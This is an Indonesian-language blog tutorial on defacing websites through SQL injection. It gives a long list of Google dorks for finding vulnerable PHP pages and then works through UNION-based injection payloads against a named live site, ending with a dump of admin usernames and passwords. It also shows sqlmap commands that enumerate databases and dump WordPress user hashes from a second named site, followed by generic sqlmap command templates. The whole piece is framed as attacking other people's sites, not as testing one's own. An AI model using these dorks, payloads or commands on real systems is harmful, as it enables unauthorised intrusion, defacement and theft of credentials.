-->

Cara Deface Website Menggunakan SQL Injection [Lengkap]

Hasil gambar untuk sql injection
Hallo sob kali ini saya akan membagikan Cara Deface Website Menggunakan SQL Injection. Langsung saja sob kita simak ke cara yang pertama.
Pertama, Cara Deface Website Menggunakan SQL Injection
SQL Injection merupakan sebuah teknik hacking dimana seorang penyerang dapat meng insert perintah-perintah SQL melalui url untuk dieksekusi oleh database.Penyebab utama dari celah ini adalah variable yang kurang di filter : id=$id;……. > Got Error
Hal pertama yang harus sobat lakukan adalah mengetahui apakah situs tersebut terkena celah SQL Injection atau tidak, yaitu dengan membuat sebuah error dengan menambahkan karakter (‘) “tanpa tanda kurung” setelah / sesudah angka pada url
Contoh : http://situsq.com/berita.php?id=14’
http://situsq.com/berita.php?id=’14
Apabila terlihat pesan error seperti ini :
You have an error in your SQL syntax.You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ”’ at line 1
Maka bisa dipastikan situs tersebut terdapat celah SQL Injection…
dalam sql manual kita butuh plugin tambahan untuk membantu proses ini, nama plugin nya adalah HACKBAR, 
Hackbar ini sebenarnya berfungsi untuk menguji sistem kita misalnya dari sql injection.. atau XSS attack.. atau mengenkripsi password md5 ataupun SHA-1
Hackbar bias di dapat disini:
https://addons.mozilla.org/id/firefox/addon/hackbar/
Sekarang kita mulai SQL Injectionnya
Pertama yang kita lakukan adalah mencari web yang vuln SQLi ( ada bug sqlinjection ) dengan sebuah dork
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
buy.php?category=
article.php?ID=
play_old.php?id=
declaration_more.php?decl_id=
Pageid=
games.php?id=
page.php?file=
newsDetail.php?id=
gallery.php?id=
article.php?id=
play_old.php?id=
show.php?id=
staff_id=
newsitem.php?num=
readnews.php?id=
top10.php?cat=
historialeer.php?num=
reagir.php?num=
forum_bds.php?num=
game.php?id=
view_product.php?id=
newsone.php?id=
sw_comment.php?id=
news.php?id=
avd_start.php?avd=
event.php?id=
product-item.php?id=
sql.php?id=
news_view.php?id=
select_biblio.php?id=
humor.php?id=
aboutbook.php?id=
fiche_spectacle.php?id=
communique_detail.php?id=
sem.php3?id=
kategorie.php4?id=
faq2.php?id=
show_an.php?id=
preview.php?id=
loadpsb.php?id=
opinions.php?id=
spr.php?id=
pages.php?id=
announce.php?id=
clanek.php4?id=
participant.php?id=
download.php?id=
main.php?id=
review.php?id=
chappies.php?id=
read.php?id=
prod_detail.php?id=
viewphoto.php?id=
article.php?id=
play_old.php?id=
declaration_more.php?decl_id=
category.php?id=
publications.php?id=
fellows.php?id=
downloads_info.php?id=
prod_info.php?id=
shop.php?do=part&id=
Productinfo.php?id=
website.php?id=
Productinfo.php?id=
showimg.php?id=
view.php?id=
rub.php?idr=
view_faq.php?id=
artikelinfo.php?id=
detail.php?ID=
collectionitem.php?id=
band_info.php?id=
product.php?id=
releases.php?id=
ray.php?id=
produit.php?id=
pop.php?id=
shopping.php?id=
productdetail.php?id=
post.php?id=
viewshowdetail.php?id=
clubpage.php?id=
memberInfo.php?id=
section.php?id=
theme.php?id=
page.php?id=
shredder-categories.php?id=
tradeCategory.php?id=
shop_category.php?id=
transcript.php?id=
channel_id=
item_id=
trainers.php?id=
buy.php?category=
article.php?ID=
play_old.php?id=
iniziativa.php?in=
detail_new.php?id=
tekst.php?idt=
newscat.php?id=
newsticker_info.php?idn=
rubrika.php?idr=
rubp.php?idr=
offer.php?idf=
hotel.php?id=
art.php?idm=
title.php?id=
look.php?ID=
story.php?id=
labels.php?id=
review.php?id=
chappies.php?id=
news-full.php?id=
news_display.php?getid=
index2.php?option=
ages.php?id=
“id=” & intext:”Warning: mysql_fetch_assoc()
“id=” & intext:”Warning: mysql_fetch_array()
“id=” & intext:”Warning: mysql_num_rows()
“id=” & intext:”Warning: session_start()
“id=” & intext:”Warning: getimagesize()
“id=” & intext:”Warning: Unknown()
“id=” & intext:”Warning: pg_exec()
“id=” & intext:”Warning: array_merge()
“id=” & intext:”Warning: mysql_result()
“id=” & intext:”Warning: mysql_num_rows()
“id=” & intext:”Warning: mysql_query()
“id=” & intext:”Warning: filesize()
“id=” & intext:”Warning: require()
WOW banyak amat -_-, memang banyak sob soalnya dork buat cari target itu ngak cukup 1 dan juga ngak sekali cari ketemu :D,
Sebenarnya dork itu banyak tapi kemnculan dork-dork baru tergantung kreatifitas individu masing-masing
oke langsung saja Copas ( copy paste ) salah satu dork tersebut ke google search
Setelah itu kita pilih salah satu url dari hasil dork tersebut
contoh :
http://www.zenfocus.com/partners.php?id=2
nah sekarang kita test apakan vuln website tersebut dengan menambahkan tanda (‘) tanpa tanda kurung
teradapat VULN
teradapat VULN
Di gambar tersebut kita lihat bahwa situs ini vuln SQLi ( mempunyai bug SQL injection)
Sekarang kita cari tau jumlah table di databasenya dengan perintah “order by” tanpa tanda kutip
Bagaimana kita agar mengetahui jumlah table di database yaitu dengan cara melihat awal terjadinya error kembali
Contoh:
http://www.zenfocus.com/partners.php?id=2 order by 1–  no error
http://www.zenfocus.com/partners.php?id=2 order by 2–  no error
http://www.zenfocus.com/partners.php?id=2 order by 3–  no error
http://www.zenfocus.com/partners.php?id=2 order by 4–  no error
http://www.zenfocus.com/partners.php?id=2 order by 5–  no error
http://www.zenfocus.com/partners.php?id=2 order by 6–  no error
http://www.zenfocus.com/partners.php?id=2 order by 7–  error
eror table ke 7
eror table ke 7
Berarti jumlah kolom pada database nya ada 6 kolom
Langkah selanjutnya yaitu mengetahui dimana angka-angka yang bisa di buat injection / tempat kita memasukkan perintah-perintah selanjutnya.
Cara untuk mengetahui angka-angka tersebut ialah dengan mengganti perintah “ order by “ dengan “ union select “ disertai berapa jumlah kolom yang kita temukan tadi dan tanda – di depan angka
Contoh:
http://www.zenfocus.com/partners.php?id=-2 union select 1,2,3,4,5, 6–
Di gambar tersebut kita lihat muncul angka 2 dan 3 nah itulah yang kita maksud dengan angka yang kita buat memasukan perintah-perintah selanjutnya
Sekarang tahap selanjutnya ialah mengetahui versi database nya
Caranya ialah dengan memasukan perintah “ @@version “atau “ version() ” kedalam salah satu angka yang muncul tadi
Contoh:
http://www.zenfocus.com/partners.php?id=-2 union select 1,@@version,3,4,5, 6–
Nahh di gambar kita bisa lihat muncul 5.0.96 itu berarti database web tersebut versi 5 berarti kita beruntung karena jika kita menemukan versi 4. maka kita akan kerepotan karena jenis perintah SQL nya berbeda yaitu dengan menebak 1 per 1 tabel yang ada di dalam database tersebut
Sekarang kita melangkah ke tahap selanjutnya yaitu memunculkan nama-nama table yang ada di dalam web tersebut dengan mengganti perintah “ @@version ” dengan “group_concat(table_name) ” dan menambahkan perintah “ from information_schema.tables where table_schema=database() ” sesudah angka terakhir , sebelum tanda —
Contoh:
http://www.zenfocus.com/partners.php?id=-2 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()–
bahan post 2
Dari gambar tersebut terlihat ada table “ admin ” jika kita menemukan web lain dan di dalamnya tidak ada table admin maka biasanya user pass admin terletak pada kolom administrator atau user tinggal pandai-pandainya kita mencermati setiap tabel yang kita curigai sebagai tempat user pass admin.
Tahap selanjutnya yaitu mengetahui kolom yang ada pada table admin tersebut
Degan cara mengganti perintah “ table_name ” yang ada berada dalam perintah “ group_concat(table_name) ” dengan perintah “ column_name ” menjadi “ group_concat(column_name) ” dan mengganti perintah “ .tables ” yang berada di perintah “ information_schema.tables “ dengan perintah “ .columns ” menjadi “ information_schema.columns ” juga mengganti perintah “ table_schema=database() ” dengan perintah “ table_name= ”
bahan post 2
dan di ikuti hasil convert MySQL CHAR() nah disini keuntungan dari kita memakai HACKBAR yaitu kita tidak perlu mencari converter MySQL CHAR() ke web-web lain karena hackbar sudah menyediakanya letaknya:
klik tombol SQL –>  MySQL –> MySQL CHAR()
bahan post 2
setelah itu akan muncul javaScript Aplication sebagai berikut:
kita copas ( copy paste ) nama kolom yang berada dalam table yang kita curigai sebagai tempat tersimpanya user pass admin
contoh tadi kita menemukan table admin jadi kita copas ( copy paste ) admin kedalam javaScript Aplication tersebut setelah itu klik ok sehingga perintah kita menjadi
http://www.zenfocus.com/partners.php?id=-2 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)–
Setelah itu tekan Execute
Dan hasilnya
bahan post 2
Nahh muncul kolom adminId,adminName,adminPass
Sekarang langkah selanjutnya ialah membuka data2 yang ada dalam kolom-kolom yang muncul tersebut.
Caranya ialah mengganti perintah “ column_name “ yang berada di perintah “ group_concat(table_name) ” dengan nama-nama kolom yang kita temukan tadi yaitu “adminId,adminName,adminPass ” sehingga menjadi “ group_concat(adminId,adminName,adminPass) ” dan mengganti perintah “ from information_schema.columns where table_name=CHAR(97, 100, 109, 105, 110)—“ dengan perintah “from admin—“ perintah admin ini saya dapat dari nama table yang kita temukan tadi, jangan lupa menambahkan perintah 0x3a pada sela-sela nama kolom tadi 0x3a adalah hasil hexa dari tanda :
Sehingga jika digabung perintah nya menjadi
http://www.zenfocus.com/partners.php?id=-2 union select 1,group_concat(adminId,0x3a,adminName,0x3a,adminPass),3,4,5,6 from admin—
bahan post 2
tekan Execute
dan hasilnya
bahan post 2
Setelah itu tinggal nyari admin loginya heheheheh
Sebenarnya banyak variasi sql injection semunya tergantung individu masing-masing mau pakai cara mana yang paling nyaman buat sobat

Kedua, Cara Deface Website Menggunakan SQL Injection
  • – Time-Based Blind SQL Injection
  • – Error-Based SQL Injection
  • – UNION Query SQL Injection
  • – Stacked Query SQL Injection
  • – MySQL, Oracle, PostgreSQL, Microsoft SQL Server, Microsoft Access, SQLite, Firebird, Sybase & SAP MaxDB
Langsung saja buka marinecyber sqli scanner di sini dan tulis google dork di kolumn yang tersedia , kalau google dork nya agan bisa lihat di sini atau di sini , dalam contoh ini saya menggunakan dork “inurl:opinions.php?id=”
  • pilih salah satu situs target nya disini saya menggunakan situs di bawah ini
Found : http://golosdoma2.com/opinions.php?id=’21 <– SQLI Vuln Found..
 
 
klik ajah link tersebut , dan saya melihat
Warning: mysql_fetch_assoc() expects parameter 1 to be resource, boolean given in /home/users1/v/victarius/domains/golosdoma2.com/opinions.php on line 25
Bahwa situs tersebut memilki bug , dan insyaallah bisa di masuki sob (^_^)
  • buka command prompt ketik ” cd C:\Users\BL4CK_3YE116\Desktop\sqlmap ” tanpa tanda petik , directory C:\Users\BL4CK_3YE116\Desktop\sqlmap merupakan directory folder tempat sqlmap berada
  • setelah itu ketik sqlmap.py -u http://situstarget/opinions.php?(sqli) di sini saya menggunakan situs http://golosdoma2.com/opinions.php?id=22 , dan saya mengetik sqlmap.py -u http://golosdoma2.com/opinions.php?id=22 untuk scan situs tersebut

  • lalu ketik sqlmap.py -u http://situstarget/opinions.php?(sqli) –dbs disini saya menggunakan sqlmap.py -u http://golosdoma2.com/opinions.php?id=22 –dbs , untuk melihat database situs tersebut
Saya menemukan  information_schema dan victarius
  • saya menggunakan database ” victarius ” lalu sqlmap.py -u http://golosdoma2.com/opinions.php?id=22 -D victarius –tables untuk melihat tables dari database tersebut
Saya menemukan table wp_users yang menurut saya menarih , 🙂 hehehe
  • setelah itu ketik sqlmap.py -u http://golosdoma2.com/opinions.php?id=22 -D victarius -T wp_users –column , untuk melhat  column dari tables tersebut , lalu muncul
Saya pilih column ID,user_login,user_pass yang menurut saya menarik (^_^)
  • dump column tersebut dengan cara sqlmap.py -u http://golosdoma2.com/opinions.php?id=22 -D victarius -T wp_users -C ID,user_login,user_pass –dump , lalu muncul dah
Password tersebut adalah MD5 wordpress , dan setahu saya ngak bisa di crack ! 🙁 tapi dalam sqlmap ada tools untuk menebak jenis password tersebut dengan dictionary yang ada 🙂 untuk melihat definisi dan jenis hash bisa di lihat di sini
Tambahan :
Biar lengkap saya kasih step-stepnya:
  • Test injeksi dengan men-fetch banner mysql (versi mysql)
./sqlmap.py -u "http://situs_target.com" --random-agent --threads 10 --banner
  • Fetch user yang digunakan, dan db yang sedang digunakan dengan flag (–current-user dan –current-db), langkah ini ialah analisis user yang dipakai di DBMS dan DB yang sedang digunakan pada website tersebut.
./sqlmap.py -u "http://situs_target.com" --random-agent --threads 10 --current-user --current-db
  •  Fetch list database yang bisa dihandle oleh user website-in@localhostdengan flag (–dbs)
Dengan mengetahui list databse yang lain kita dapat bebas melakukan injeksi pada setiap database yang available untuk di injeksi. ./sqlmap.py -u "http://situs_target.com" --random-agent --threads 10 --dbs
  • Fetch list tables di database portal dengan flag (-D nama_tabel –tables)
./sqlmap.py -u "http://situs_target.com" --random-agent --threads 10 -D nama_tabel --tables
  • Fetch isi kolum pada setiap tables dengan flag (–columns)
./sqlmap.py -u "http://situs_target.com" --random-agent --threads 10 -D nama_tabel  -T nama_kolom --columns
  •  Sekarang kita akan men-fetch hanya isi dari kolum dengan flag (-D nama_tabel -T kolom -C isi_kolom1,isi_kolom2 –dump)
./sqlmap.py -u "http://situs_target.com" --random-agent --threads 10 -D nama_tabel  -T nama_kolom -C isi_kolom1,isi_kolom2 --dump

Oke mungkin segitu aja dari gua. Untuk hash” kalian bisa cari tools online di google :3
Terima kasih.

Related Posts

Post a Comment

Subscribe Our Newsletter